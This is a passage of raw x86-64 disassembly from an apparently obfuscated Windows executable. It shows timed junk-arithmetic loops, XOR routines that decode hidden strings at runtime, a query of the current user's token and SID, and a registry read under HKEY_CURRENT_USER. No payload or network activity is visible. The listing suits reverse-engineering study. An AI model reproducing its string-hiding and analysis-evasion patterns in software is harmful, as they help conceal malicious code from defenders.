add ecx, r12d
lea eax, [rcx + rsi]
lea edx, [rcx - 0x80000000]
cmp ecx, esi
cmovae edx, eax
mov eax, dword [rsp + 0x40]
add edx, eax
mov dword [rsp + 0x40], edx
movaps xmm1, xmm8
movaps xmm2, xmm10
mov edi, 2
lea rcx, [rsp + 0x1370]
call fcn.140170220
mov eax, eax
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
subsd xmm0, xmm8
mulsd xmm0, xmm2
addsd xmm1, xmm0
mulsd xmm2, xmm9
sub rdi, 1
jne 0x14014e6d3
divsd xmm1, xmm2
mulsd xmm1, xmm14
addsd xmm1, xmm13
movsd xmm0, qword [rsp + 0x50]
addsd xmm1, xmm0
movsd qword [rsp + 0x50], xmm1
test r13b, 1
jne 0x14014e7c9
mov eax, dword [rsp + 0xbd8]
cmp eax, esi
lea r12d, [rax + rsi]
jb 0x14014e740
lea r12d, [rax - 0x80000000]
mov eax, dword [rsp + 0xbdc]
cmp eax, esi
jae 0x14014e74f
add eax, esi
jmp 0x14014e754
add eax, 0x80000000
sub eax, r12d
lea rcx, [rsp + 0x1370]
cmp eax, 0xffffffff
jne 0x14014e76d
call fcn.140170220
mov ecx, eax
jmp 0x14014e7ab
lea edi, [rax + 1]
call fcn.140170220
mov r15d, edi
mov ecx, eax
imul rcx, r15
cmp ecx, edi
jae 0x14014e7a7
mov eax, edi
neg eax
xor edx, edx
div edi
mov edi, edx
cmp ecx, edx
jae 0x14014e7a7
lea rcx, [rsp + 0x1370]
call fcn.140170220
mov ecx, eax
imul rcx, r15
cmp ecx, edi
jb 0x14014e790
shr rcx, 0x20
add ecx, r12d
lea eax, [rcx + rsi]
lea edx, [rcx - 0x80000000]
cmp ecx, esi
cmovae edx, eax
mov eax, dword [rsp + 0x40]
imul edx, eax
mov dword [rsp + 0x40], edx
jmp 0x14014e832
movaps xmm1, xmm8
movaps xmm2, xmm10
mov edi, 2
nop word [rax + rax]
lea rcx, [rsp + 0x1370]
call fcn.140170220
mov eax, eax
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
subsd xmm0, xmm8
mulsd xmm0, xmm2
addsd xmm1, xmm0
mulsd xmm2, xmm9
sub rdi, 1
jne 0x14014e7e0
movsd xmm0, qword [rsp + 0x50]
divsd xmm1, xmm2
mulsd xmm1, xmm14
addsd xmm1, xmm13
addsd xmm1, xmm10
divsd xmm0, xmm1
movsd qword [rsp + 0x50], xmm0
inc r13d
cmp r13d, 5
jl 0x14014e620
sub qword [rsp + 0x70], 1
jne 0x14014e610
mov rcx, qword [rsp + 0xc70]
test rcx, rcx
je 0x14014e8ad
mov rax, qword [rsp + 0xc80]
sub rax, rcx
sar rax, 2
lea rdx, [rax*4]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14014e894
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14015617b
call fcn.14019f9e0
xorps xmm0, xmm0
movdqu xmmword [rsp + 0xc70], xmm0
mov qword [rsp + 0xc80], r14
mov rdx, qword [rsp + 0xd88]
cmp rdx, 0x10
jb 0x14014e8f0
inc rdx
mov rcx, qword [rsp + 0xd70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14014e8eb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140156181
call fcn.14019f9e0
mov qword [rsp + 0xd80], r14
mov qword [rsp + 0xd88], 0xf
mov byte [rsp + 0xd70], 0
mov ecx, dword [rsp + 0x88]
inc ecx
mov dword [rsp + 0x88], ecx
cmp ecx, 0x186a0
jl 0x14014dd40
jmp 0x14014dcf0
mov eax, dword [rsp + 0x40]
mov rbx, qword [rsp + 0xbe8]
test rbx, rbx
je 0x1401560c3
mov rdi, qword [rsp + 0xbf0]
cmp rbx, rdi
je 0x14014e97a
mov r15d, 1
mov rcx, qword [rbx]
test rcx, rcx
je 0x14014e969
mov rax, qword [rcx]
mov r8, qword [rax]
mov edx, r15d
call r8
add rbx, 8
cmp rbx, rdi
jne 0x14014e955
mov rbx, qword [rsp + 0xbe8]
mov rax, qword [rsp + 0xbf8]
sub rax, rbx
sar rax, 3
lea rdx, [rax*8]
mov rax, rbx
cmp rdx, 0x1000
jb 0x14014e9b6
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140156187
mov rcx, rbx
call fcn.14019f9e0
jmp 0x1401560c3
movups xmm0, xmmword [str.yrpNFKDBNT]
movups xmmword [rsp + 0x310], xmm0
movzx eax, word [0x1401ec0e0]
mov word [rsp + 0x320], ax
mov r12d, dword [0x1402000f8]
mov r13d, 0x1f
cmp byte [0x1401ec0e1], 0
je 0x14014ec92
mov r9d, r14d
cmp r12d, 2
jl 0x14014ec25
mov esi, 6
movd xmm6, esi
movd xmm7, r13d
movdqa xmm0, xmmword [str.eeeeeeeeeeeeeeee]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rsp + 0x310]
nop dword [rax]
movd xmm5, r9d
pshufd xmm5, xmm5, 0
paddd xmm5, xmmword [0x1401ed200]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmmword [0x1401ed2f0]
movdqa xmm0, xmm1
pmuldq xmm0, xmmword [0x1401ed2f0]
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm6
pmuldq xmm2, xmmword [0x1401ed2e0]
pmuldq xmm1, xmmword [0x1401ed2e0]
shufps xmm2, xmm1, 0xdd
paddd xmm2, xmm5
psrad xmm2, xmm6
movdqa xmm1, xmm2
psrld xmm1, xmm7
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1401ed230]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1401ed2a0]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm7
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x1401ed220]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401ed2a0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, dword [rsp + 0x50]
paddb xmm3, xmm0
movd xmm0, dword [rcx]
pxor xmm3, xmm0
movd dword [rcx], xmm3
lea eax, [r9 + 4]
movd xmm5, eax
pshufd xmm5, xmm5, 0
paddd xmm5, xmmword [0x1401ed200]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmmword [0x1401ed2f0]
movdqa xmm0, xmm1
pmuldq xmm0, xmmword [0x1401ed2f0]
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm6
pmuldq xmm2, xmmword [0x1401ed2e0]
pmuldq xmm1, xmmword [0x1401ed2e0]
shufps xmm2, xmm1, 0xdd
paddd xmm2, xmm5
psrad xmm2, xmm6
movdqa xmm1, xmm2
psrld xmm1, xmm7
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1401ed230]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1401ed2a0]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm7
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x1401ed220]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401ed2a0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, dword [rsp + 0x50]
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm3, xmm0
movd dword [rcx + 4], xmm3
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x10
jl 0x14014ea30
cmp r9d, 0x12
jge 0x14014ec97
movsxd rax, r9d
lea r10, [rsp + 0x310]
add r10, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x84210843
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x3e
mov eax, 0x6db6db6d
imul r9d
sub edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
sub cl, r8b
add cl, r9b
add cl, cl
add cl, 0x1b
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x12
jl 0x14014ec40
mov esi, 6
lea rdx, [rsp + 0x310]
lea rcx, [0x140203330]
call fcn.1401633d0
mov rcx, rax
call fcn.1401631a0
nop
lea rcx, [rsp + 0x638]
call fcn.1401399e0
mov rbx, rax
lea rdi, [0x140207cc0]
cmp rdi, rax
je 0x14014ed4e
mov rdx, qword [0x140207cd8]
cmp rdx, 0x10
jb 0x14014ed11
mov rcx, qword [0x140207cc0]
inc rdx
cmp rdx, 0x1000
jb 0x14014ed0c
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14015618d
mov rcx, r8
call fcn.14019f9e0
mov qword [0x140207cd0], r14
mov qword [0x140207cd8], 0xf
mov byte [0x140207cc0], 0
movups xmm0, xmmword [rbx]
movups xmmword [0x140207cc0], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [0x140207cd0], xmm1
mov qword [rbx + 0x10], r14
mov qword [rbx + 0x18], 0xf
mov byte [rbx], 0
mov rdx, qword [rsp + 0x650]
cmp rdx, 0x10
jb 0x14014ed91
inc rdx
mov rcx, qword [rsp + 0x638]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14014ed8c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14015618d
call fcn.14019f9e0
mov qword [rsp + 0x648], r14
mov qword [rsp + 0x650], 0xf
mov byte [rsp + 0x638], 0
mov rdx, rdi
lea rcx, [rsp + 0xb20]
call fcn.14015af60
mov rdx, rax
lea rcx, [rsp + 0xb00]
call fcn.14012fcb0
mov rdx, rax
lea rcx, [rsp + 0x5f8]
call fcn.14012f100
mov rbx, rax
lea rdi, [0x140207d60]
cmp rdi, rax
je 0x14014ee6a
mov rdx, qword [0x140207d78]
cmp rdx, 0x10
jb 0x14014ee2d
mov rcx, qword [0x140207d60]
inc rdx
cmp rdx, 0x1000
jb 0x14014ee28
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14015618d
mov rcx, r8
call fcn.14019f9e0
mov qword [0x140207d70], r14
mov qword [0x140207d78], 0xf
mov byte [0x140207d60], 0
movups xmm0, xmmword [rbx]
movups xmmword [0x140207d60], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [0x140207d70], xmm1
mov qword [rbx + 0x10], r14
mov qword [rbx + 0x18], 0xf
mov byte [rbx], 0
mov rdx, qword [rsp + 0x610]
cmp rdx, 0x10
jb 0x14014eead
inc rdx
mov rcx, qword [rsp + 0x5f8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14014eea8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14015618d
call fcn.14019f9e0
mov qword [rsp + 0x608], r14
mov qword [rsp + 0x610], 0xf
mov byte [rsp + 0x5f8], 0
cmp qword [0x140207d78], 0x10
cmovae rdi, qword [0x140207d60]
mov r8, qword [0x140207d70]
mov rdx, rdi
lea rcx, [0x140203330]
call fcn.14016bb00
mov rcx, rax
call fcn.1401631a0
nop
jmp 0x14014ef10
movzx eax, word [0x1401ec5c8]
mov word [rsp + 0x68], ax
movsd xmm0, qword [str.sJF_aYJ_]
movzx eax, byte [0x1401ec5ca]
movsd qword [rsp + 0x60], xmm0
mov byte [rsp + 0x60], 0x65
xor byte [rsp + 0x61], 0x1d
xor byte [rsp + 0x62], 0x1f
xor byte [rsp + 0x63], 0x21
xor byte [rsp + 0x64], 0x23
xor byte [rsp + 0x65], 0x25
xor byte [rsp + 0x66], 0x27
xor byte [rsp + 0x67], 0x29
xor byte [rsp + 0x68], 0x2b
xor byte [rsp + 0x69], 0x2d
xor al, 0x2f
mov byte [rsp + 0x6a], al
lea rdx, [rsp + 0x60]
lea rcx, [0x140203330]
call fcn.1401633d0
mov rcx, rax
call fcn.1401631a0
xorps xmm0, xmm0
movups xmmword [rsp + 0xef8], xmm0
movups xmmword [rsp + 0xf08], xmm0
lea rax, vtable.ATL::CAccessToken.0
mov qword [rsp + 0xef8], rax
movdqu xmmword [rsp + 0xf00], xmm0
mov qword [rsp + 0xf10], r14
xor eax, eax
movups xmmword [rsp + 0xfc0], xmm0
movups xmmword [rsp + 0xfd0], xmm0
movups xmmword [rsp + 0xfe0], xmm0
movups xmmword [rsp + 0xff0], xmm0
movups xmmword [rsp + 0x1000], xmm0
movups xmmword [rsp + 0x1010], xmm0
movups xmmword [rsp + 0x1020], xmm0
mov qword [rsp + 0x1030], rax
lea rax, vtable.ATL::CSid.0
mov qword [rsp + 0xfc0], rax
mov byte [rsp + 0x100c], 0
mov dword [rsp + 0x1010], 7
call fcn.140119c50
mov rcx, rax
test rax, rax
je 0x140156193
mov rax, qword [rax]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rsp + 0x1018], rax
call fcn.140119c50
mov rcx, rax
test rax, rax
je 0x14015619e
mov rax, qword [rax]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rsp + 0x1020], rax
call fcn.140119c50
mov rcx, rax
test rax, rax
je 0x1401561a9
mov rax, qword [rax]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rsp + 0x1028], rax
call fcn.140119c50
mov rcx, rax
test rax, rax
je 0x1401561b4
mov rax, qword [rax]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rsp + 0x1030], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0xbd0]
mov edx, 0x20008
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x14014f15d
lea rcx, [rsp + 0xef8]
mov rax, qword [rsp + 0xef8]
call qword [rax + VariantCopy]
mov rax, qword [rsp + 0xbd0]
mov qword [rsp + 0xf00], rax
lea rdx, [rsp + 0xfc0]
lea rcx, [rsp + 0xef8]
call fcn.14011a100
test al, al
je 0x14014f15d
lea rcx, [rsp + 0xfc0]
call fcn.140119fc0
mov rdx, rax
lea rcx, [rsp + 0xb40]
call fcn.140156410
nop
mov rdx, qword [rax]
lea rcx, [rsp + 0xae0]
call fcn.1401321c0
mov rdx, rax
lea rcx, [0x140207d80]
call fcn.14015ad90
lea rcx, [rsp + 0xae0]
call fcn.1401348f0
nop
lea rcx, [rsp + 0xb40]
call fcn.1401563f0
mov dword [rsp + 0xd48], 0x400
call fcn.14017f98c
mov edx, eax
lea rcx, [rsp + 0x3a90]
call fcn.140158db0
mov dword [rsp + 0xc18], 0xffffff9c
mov dword [rsp + 0xc1c], 0x64
movaps xmm0, xmmword [0x1401ed2c0]
movups xmmword [rsp + 0xd60], xmm0
mov dword [rsp + 0x40], r14d
xorps xmm14, xmm14
movsd qword [rsp + 0x50], xmm14
lea rcx, [rsp + 0x3a8]
call fcn.140119650
mov rax, qword [rsp + 0x3a8]
add rax, 0x5f5e100
mov qword [rsp + 0x198], rax
lea rcx, [rsp + 0xc88]
call fcn.140119a50
xorps xmm0, xmm0
movdqu xmmword [rsp + 0xc88], xmm0
mov qword [rsp + 0xc98], r14
lea rcx, [rsp + 0x3b0]
call fcn.1401621c0
nop
mov rcx, qword [rax]
mov qword [rax], r14
mov qword [rsp + 0x168], rcx
lea rdx, [rsp + 0x168]
lea rcx, [rsp + 0xc88]
call fcn.140158ce0
nop
lea rcx, [rsp + 0x168]
call fcn.140158cc0
nop
lea rcx, [rsp + 0x3b0]
call fcn.140158cc0
lea rcx, [rsp + 0x3b8]
call fcn.1401621f0
nop
mov rcx, qword [rax]
mov qword [rax], r14
mov qword [rsp + 0x170], rcx
lea rdx, [rsp + 0x170]
lea rcx, [rsp + 0xc88]
call fcn.140158ce0
nop
lea rcx, [rsp + 0x170]
call fcn.140158cc0
nop
lea rcx, [rsp + 0x3b8]
call fcn.140158cc0
lea rcx, [rsp + 0x3c0]
call fcn.140162220
nop
mov rcx, qword [rax]
mov qword [rax], r14
mov qword [rsp + 0x178], rcx
lea rdx, [rsp + 0x178]
lea rcx, [rsp + 0xc88]
call fcn.140158ce0
nop
lea rcx, [rsp + 0x178]
call fcn.140158cc0
nop
lea rcx, [rsp + 0x3c0]
call fcn.140158cc0
lea rcx, [rsp + 0x3c8]
call fcn.140162250
nop
mov rcx, qword [rax]
mov qword [rax], r14
mov qword [rsp + 0x180], rcx
lea rdx, [rsp + 0x180]
lea rcx, [rsp + 0xc88]
call fcn.140158ce0
nop
lea rcx, [rsp + 0x180]
call fcn.140158cc0
nop
lea rcx, [rsp + 0x3c8]
call fcn.140158cc0
lea rcx, [rsp + 0x3d0]
call fcn.140162280
nop
mov rcx, qword [rax]
mov qword [rax], r14
mov qword [rsp + 0x188], rcx
lea rdx, [rsp + 0x188]
lea rcx, [rsp + 0xc88]
call fcn.140158ce0
nop
lea rcx, [rsp + 0x188]
call fcn.140158cc0
nop
lea rcx, [rsp + 0x3d0]
call fcn.140158cc0
lea rcx, [rsp + 0x3d8]
call fcn.1401622b0
nop
mov rcx, qword [rax]
mov qword [rax], r14
mov qword [rsp + 0x190], rcx
lea rdx, [rsp + 0x190]
lea rcx, [rsp + 0xc88]
call fcn.140158ce0
nop
lea rcx, [rsp + 0x190]
call fcn.140158cc0
nop
lea rcx, [rsp + 0x3d8]
call fcn.140158cc0
lea rcx, [rsp + 0x3e0]
call fcn.140119650
mov rcx, rax
lea rdx, [rsp + 0x198]
call fcn.140119a00
movsd xmm13, qword [0x1401ed1a0]
movsd xmm15, qword [0x1401ed1a8]
test al, al
jns 0x14014f76f
lea rax, [rsp + 0xc18]
mov qword [rsp + 0x70], rax
lea rax, [rsp + 0x3a90]
mov qword [rsp + 0x78], rax
movaps xmm6, xmmword [rsp + 0x70]
nop dword [rax]
mov esi, 0x186a0
nop word [rax + rax]
lea rdx, [rsp + 0x3a90]
lea rcx, [rsp + 0xc18]
call fcn.140162040
mov rbx, qword [rsp + 0xc90]
sub rbx, qword [rsp + 0xc88]
sar rbx, 3
lea rdx, [rsp + 0x3a90]
lea rcx, [rsp + 0xc18]
call fcn.140162040
cdqe
xor edx, edx
div rbx
movsxd rcx, edx
mov rax, qword [rsp + 0xc88]
mov rdi, qword [rax + rcx*8]
mov rax, qword [rdi]
mov rbx, qword [rax + 8]
lea rdx, [rsp + 0x3a90]
lea rcx, [rsp + 0xc18]
call fcn.140162040
mov r8d, eax
mov edx, dword [rsp + 0x40]
mov rcx, rdi
call rbx
mov dword [rsp + 0x40], eax
lea rdx, [rsp + 0x3a90]
lea rcx, [rsp + 0xd60]
call fcn.1401622e0
movaps xmm5, xmm0
lea rdx, [rsp + 0x3a90]
lea rcx, [rsp + 0xd60]
call fcn.1401622e0
movaps xmm1, xmm5
call fcn.1401198d0
movsd xmm1, qword [rsp + 0x50]
addsd xmm0, xmm1
movsd qword [rsp + 0x50], xmm0
lea rdx, [rsp + 0x3a90]
lea rcx, [rsp + 0xd60]
call fcn.1401622e0
movaps xmm1, xmm15
call fcn.1401b2500
movsd xmm1, qword [rsp + 0x50]
subsd xmm1, xmm0
movsd qword [rsp + 0x50], xmm1
lea rdx, [rsp + 0x3a90]
lea rcx, [rsp + 0xd60]
call fcn.1401622e0
call fcn.1401cf820
mulsd xmm0, qword [rsp + 0x50]
movsd qword [rsp + 0x50], xmm0
lea rdx, str.random
lea rcx, [rsp + 0x1120]
call fcn.1401321c0
nop
lea rdx, [rsp + 0x3a90]
lea rcx, [rsp + 0x1120]
call fcn.140119840
lea rcx, [rsp + 0xe98]
call fcn.140119a50
lea rcx, [rsp + 0xe98]
call fcn.140158e60
nop
movdqa xmmword [rsp + 0x7a0], xmm6
lea r8, [rsp + 0x7a0]
mov rdx, qword [rsp + 0xea0]
mov rcx, qword [rsp + 0xe98]
call fcn.140162360
lea rdx, [rsp + 0x3a90]
lea rcx, [rsp + 0xe98]
call fcn.140119950
mov rdx, qword [rsp + 0xea0]
mov rcx, qword [rsp + 0xe98]
call fcn.1401623c0
mov ecx, dword [rsp + 0x40]
add ecx, eax
mov dword [rsp + 0x40], ecx
lea rdx, [rsp + 0x3a90]
lea rcx, [rsp + 0xc18]
call fcn.140162040
mov ebx, eax
lea rdx, [rsp + 0x3a90]
lea rcx, [rsp + 0xc18]
call fcn.140162040
mov r8d, ebx
mov edx, eax
call fcn.140119a20
mov ecx, dword [rsp + 0x40]
add eax, ecx
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
and eax, 0x80000001
jge 0x14014f63a
dec eax
or eax, 0xfffffffe
inc eax
lea rdx, [rsp + 0x3a90]
lea rcx, [rsp + 0xc18]
test eax, eax
jne 0x14014f65f
call fcn.140162040
mov ecx, dword [rsp + 0x40]
add eax, ecx
mov dword [rsp + 0x40], eax
jmp 0x14014f66e
call fcn.140162040
mov ecx, dword [rsp + 0x40]
sub ecx, eax
mov dword [rsp + 0x40], ecx
mov edi, 5
mov ebx, r14d
nop word [rax + rax]
lea rdx, [rsp + 0x3a90]
lea rcx, [rsp + 0xc18]
call fcn.140162040
mov ecx, dword [rsp + 0x40]
add eax, ecx
mov dword [rsp + 0x40], eax
lea rdx, [rsp + 0x3a90]
lea rcx, [rsp + 0xd60]
call fcn.1401622e0
movsd xmm5, qword [rsp + 0x50]
addsd xmm0, xmm5
movsd qword [rsp + 0x50], xmm0
lea rdx, [rsp + 0x3a90]
test bl, 1
jne 0x14014f6eb
lea rcx, [rsp + 0xc18]
call fcn.140162040
mov ecx, dword [rsp + 0x40]
imul eax, ecx
mov dword [rsp + 0x40], eax
jmp 0x14014f70d
movsd xmm5, qword [rsp + 0x50]
lea rcx, [rsp + 0xd60]
call fcn.1401622e0
addsd xmm0, xmm13
divsd xmm5, xmm0
movsd qword [rsp + 0x50], xmm5
inc ebx
cmp ebx, 5
jl 0x14014f680
sub rdi, 1
jne 0x14014f673
lea rcx, [rsp + 0xe98]
call fcn.140158e00
nop
lea rcx, [rsp + 0x1120]
call fcn.1401348f0
sub rsi, 1
jne 0x14014f430
lea rcx, [rsp + 0x3e0]
call fcn.140119650
mov rcx, rax
lea rdx, [rsp + 0x198]
call fcn.140119a00
test al, al
js 0x14014f420
lea esi, [rdi + 6]
mov eax, dword [rsp + 0x40]
lea rcx, [rsp + 0xc88]
call fcn.140158d10
movsd xmm0, qword [str.urD]
movsd qword [rsp + 0x90], xmm0
movzx eax, word [0x1401ec7f8]
mov ecx, 0x6e
mov word [rsp + 0x90], cx
xor word [rsp + 0x92], 0x1d
xor word [rsp + 0x94], 0x1f
xor word [rsp + 0x96], 0x21
xor ax, 0x23
mov word [rsp + 0x98], ax
movups xmm0, xmmword [str.HRYutdulwnCP_FRJgOP__I]
movups xmmword [rsp + 0x870], xmm0
movups xmm1, xmmword [0x1401ec588]
movups xmmword [rsp + 0x880], xmm1
movups xmm0, xmmword [0x1401ec598]
movups xmmword [rsp + 0x890], xmm0
cmp r12d, 2
jl 0x14014f9d8
mov edx, r14d
movd xmm6, esi
movd xmm7, r13d
lea rcx, [rsp + 0x870]
movd xmm5, edx
pshufd xmm5, xmm5, 0
paddd xmm5, xmmword [0x1401ed200]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmmword [0x1401ed2f0]
movdqa xmm0, xmm1
pmuldq xmm0, xmmword [0x1401ed2f0]
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm6
pmuldq xmm2, xmmword [0x1401ed2e0]
pmuldq xmm1, xmmword [0x1401ed2e0]
shufps xmm2, xmm1, 0xdd
paddd xmm2, xmm5
psrad xmm2, xmm6
movdqa xmm1, xmm2
psrld xmm1, xmm7
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1401ed230]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movdqa xmm2, xmm4
psrld xmm2, xmm7
paddd xmm2, xmm4
pmulld xmm2, xmmword [0x1401ed220]
psubd xmm5, xmm2
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm0, qword [str.eeeeeeee]
paddw xmm3, xmm0
movq xmm0, qword [rcx]
pxor xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [rdx + 4]
movd xmm5, eax
pshufd xmm5, xmm5, 0
paddd xmm5, xmmword [0x1401ed200]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmmword [0x1401ed2f0]
movdqa xmm0, xmm1
pmuldq xmm0, xmmword [0x1401ed2f0]
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm6
pmuldq xmm2, xmmword [0x1401ed2e0]
pmuldq xmm1, xmmword [0x1401ed2e0]
shufps xmm2, xmm1, 0xdd
paddd xmm2, xmm5
psrad xmm2, xmm6
movdqa xmm1, xmm2
psrld xmm1, xmm7
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1401ed230]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movdqa xmm2, xmm4
psrld xmm2, xmm7
paddd xmm2, xmm4
pmulld xmm2, xmmword [0x1401ed220]
psubd xmm5, xmm2
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm0, qword [str.eeeeeeee]
paddw xmm3, xmm0
movq xmm0, qword [rcx + 8]
pxor xmm3, xmm0
movq qword [rcx + 8], xmm3
add edx, 8
lea rcx, [rcx + 0x10]
cmp edx, 0x18
jl 0x14014f817
jmp 0x14014fa47
lea r10, [rsp + 0x870]
mov r9d, r14d
nop dword [rax]
nop word [rax + rax]
mov eax, 0x84210843
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul r8d, eax, 0x3e
mov eax, 0x6db6db6d
imul r9d
sub edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x38
sub cx, r8w
add cx, r9w
add cx, cx
add cx, 0x1b
xor word [r10], cx
inc r9d
lea r10, [r10 + 2]
cmp r9d, 0x18
jl 0x14014f9f0
lea rax, [rsp + 0xd48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0xd710]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r14
mov r9d, 2
lea r8, [rsp + 0x90]
lea rdx, [rsp + 0x870]
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegGetValueW]
call fcn.14017f98c
mov edx, eax
lea rcx, [rsp + 0x4e20]
call fcn.140158db0
mov dword [rsp + 0xc20], 0xffffff9c
mov dword [rsp + 0xc24], 0x64
movaps xmm0, xmmword [0x1401ed2c0]
movups xmmword [rsp + 0xdb0], xmm0
mov dword [rsp + 0x40], r14d
movsd qword [rsp + 0x50], xmm14
lea rcx, [rsp + 0x3e8]
call fcn.140119650
mov rax, qword [rsp + 0x3e8]
add rax, 0x5f5e100
mov qword [rsp + 0x1d0], rax
lea rcx, [rsp + 0xca0]
call fcn.140119a50
xorps xmm0, xmm0
movdqu xmmword [rsp + 0xca0], xmm0
mov qword [rsp + 0xcb0], r14
lea rcx, [rsp + 0x3f0]
call fcn.1401621c0
nop
mov rcx, qword [rax]
mov qword [rax], r14
mov qword [rsp + 0x1a0], rcx
lea rdx, [rsp + 0x1a0]
lea rcx, [rsp + 0xca0]
call fcn.140158ce0
nop
lea rcx, [rsp + 0x1a0]
call fcn.140158cc0
nop
lea rcx, [rsp + 0x3f0]
call fcn.140158cc0
lea rcx, [rsp + 0x3f8]
call fcn.1401621f0
nop
mov rcx, qword [rax]
mov qword [rax], r14
mov qword [rsp + 0x1a8], rcx
lea rdx, [rsp + 0x1a8]
lea rcx, [rsp + 0xca0]
call fcn.140158ce0
nop
lea rcx, [rsp + 0x1a8]
call fcn.140158cc0
nop
lea rcx, [rsp + 0x3f8]
call fcn.140158cc0
lea rcx, [rsp + 0x400]
call fcn.140162220
nop
mov rcx, qword [rax]
mov qword [rax], r14
mov qword [rsp + 0x1b0], rcx
lea rdx, [rsp + 0x1b0]
lea rcx, [rsp + 0xca0]
call fcn.140158ce0
nop
lea rcx, [rsp + 0x1b0]
call fcn.140158cc0
nop
lea rcx, [rsp + 0x400]
call fcn.140158cc0
